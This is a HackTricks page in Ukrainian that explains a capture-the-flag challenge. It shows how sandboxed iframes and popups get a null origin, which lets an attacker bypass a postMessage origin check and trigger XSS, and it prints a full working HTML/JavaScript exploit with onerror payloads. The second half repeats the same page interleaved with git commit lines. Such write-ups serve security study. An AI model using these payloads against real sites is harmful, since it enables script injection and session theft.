hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md

# Bypassing SOP with Iframes - 1

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Iframes in SOP-1

У цьому [**виклику**](https://github.com/terjanq/same-origin-xss), створеному [**NDevTK**](https://github.com/NDevTK) та [**Terjanq**](https://github.com/terjanq), вам потрібно експлуатувати XSS у закодованому
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```
Основна проблема полягає в тому, що [**головна сторінка**](https://so-xss.terjanq.me) використовує DomPurify для відправки `data.body`, тому для того, щоб надіслати свої власні html дані до цього коду, вам потрібно **обійти** `e.origin !== window.origin`.

Давайте розглянемо рішення, яке вони пропонують.

### SOP обхід 1 (e.origin === null)

Коли `//example.org` вбудовано в **пісочницю iframe**, тоді **походження** сторінки буде **`null`**, тобто **`window.origin === null`**. Тож просто вбудувавши iframe через `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, ми можемо **примусити походження `null`**.

Якщо сторінка була б **вбудовуваною**, ви могли б обійти цю захист таким чином (можливо, також потрібно налаштувати куки на `SameSite=None`).

### SOP обхід 2 (window.origin === null)

Менш відомий факт полягає в тому, що коли **значення пісочниці `allow-popups` встановлено**, тоді **відкритий спливаючий вікно** буде **успадковувати** всі **атрибути пісочниці**, якщо не встановлено `allow-popups-to-escape-sandbox`.\
Отже, відкриття **спливаючого вікна** з **null походження** зробить **`window.origin`** всередині спливаючого вікна також **`null`**.

### Рішення виклику

Отже, для цього виклику можна **створити** **iframe**, **відкрити спливаюче вікно** на сторінку з вразливим обробником коду XSS (`/iframe.php`), оскільки `window.origin === e.origin`, тому що обидва є `null`, можливо **надіслати корисне навантаження, яке експлуатує XSS**.

Це **корисне навантаження** отримає **ідентифікатор** і надішле **XSS** **назад на верхню сторінку** (сторінка, яка відкрила спливаюче вікно), **яка** **змінить місцезнаходження** на **вразливу** `/iframe.php`. Оскільки ідентифікатор відомий, не має значення, що умова `window.origin === e.origin` не задовольняється (пам'ятайте, походження - це **спливаюче вікно** з iframe, яке має **походження** **`null`**) тому що `data.identifier === identifier`. Тоді **XSS спрацює знову**, цього разу в правильному походженні.
```html
<body>
<script>
f = document.createElement('iframe');

// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';

// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');

// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Підтримайте HackTricks</summary>

* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.

</details>
{% endhint %}
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								# Bypassing SOP with Iframes - 1
 								{% hint style="success" %}
 								Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 								Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
 								<details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								<summary>Support HackTricks</summary>
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 								* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 								* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
 								</details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								{% endhint %}
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								## Iframes in SOP-1
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								У цьому [**виклику**](https://github.com/terjanq/same-origin-xss), створеному [**NDevTK**](https://github.com/NDevTK) та [**Terjanq**](https://github.com/terjanq), вам потрібно експлуатувати XSS у закодованому
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								```javascript
 								const identifier = '4a600cd2d4f9aa1cfb5aa786';
 								onmessage = e => {
-												Translated to Ukranian

											
										
										
											2024-03-29 18:49:46 +00:00
+								const data = e.data;
 								if (e.origin !== window.origin && data.identifier !== identifier) return;
 								if (data.type === 'render') {
 								renderContainer.innerHTML = data.body;
 								}
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								}
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								Основна проблема полягає в тому, що [**головна сторінка**](https://so-xss.terjanq.me) використовує DomPurify для відправки `data.body`, тому для того, щоб надіслати свої власні html дані до цього коду, вам потрібно **обійти** `e.origin !== window.origin`.
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								Давайте розглянемо рішення, яке вони пропонують.
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								### SOP обхід 1 (e.origin === null)
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								Коли `//example.org` вбудовано в **пісочницю iframe**, тоді **походження** сторінки буде **`null`**, тобто **`window.origin === null`**. Тож просто вбудувавши iframe через `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`, ми можемо **примусити походження `null`**.
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								Якщо сторінка була б **вбудовуваною**, ви могли б обійти цю захист таким чином (можливо, також потрібно налаштувати куки на `SameSite=None`).
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								### SOP обхід 2 (window.origin === null)
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								Менш відомий факт полягає в тому, що коли **значення пісочниці `allow-popups` встановлено**, тоді **відкритий спливаючий вікно** буде **успадковувати** всі **атрибути пісочниці**, якщо не встановлено `allow-popups-to-escape-sandbox`.\
 								Отже, відкриття **спливаючого вікна** з **null походження** зробить **`window.origin`** всередині спливаючого вікна також **`null`**.
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated to Ukranian

											
										
										
											2024-03-29 18:49:46 +00:00
+								### Рішення виклику
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								Отже, для цього виклику можна **створити** **iframe**, **відкрити спливаюче вікно** на сторінку з вразливим обробником коду XSS (`/iframe.php`), оскільки `window.origin === e.origin`, тому що обидва є `null`, можливо **надіслати корисне навантаження, яке експлуатує XSS**.
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								Це **корисне навантаження** отримає **ідентифікатор** і надішле **XSS** **назад на верхню сторінку** (сторінка, яка відкрила спливаюче вікно), **яка** **змінить місцезнаходження** на **вразливу** `/iframe.php`. Оскільки ідентифікатор відомий, не має значення, що умова `window.origin === e.origin` не задовольняється (пам'ятайте, походження - це **спливаюче вікно** з iframe, яке має **походження** **`null`**) тому що `data.identifier === identifier`. Тоді **XSS спрацює знову**, цього разу в правильному походженні.
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								```html
 								<body>
-												Translated to Ukranian

											
										
										
											2024-03-29 18:49:46 +00:00
+								<script>
 								f = document.createElement('iframe');
 								// Needed flags
 								f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
 								// Second communication with /iframe.php (this is the top page relocated)
 								// This will execute the alert in the correct origin
 								const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
 								x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
 								},1000);`.replaceAll('\n',' ');
 								// Initial communication
 								// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
 								// Then, bypass window.origin === e.origin to steal the identifier and communicate
 								// with the top with the second XSS payload
 								f.srcdoc = `
 								<h1>Click me!</h1>
 								<script>
 								onclick = e => {
 								let w = open('https://so-xss.terjanq.me/iframe.php');
 								onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
 								setTimeout(_ => {
 								w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
 								}, 1000);
 								};
 								<\/script>
 								`
 								document.body.appendChild(f);
 								</script>
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								</body>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								{% hint style="success" %}
 								Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 								Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
+								<details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								<summary>Підтримайте HackTricks</summary>
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
 								* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 								* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
-												GitBook: [#3603] No subject

											
										
										
											2022-10-13 00:56:34 +00:00
 								</details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 04:58:21 +00:00
+								{% endhint %}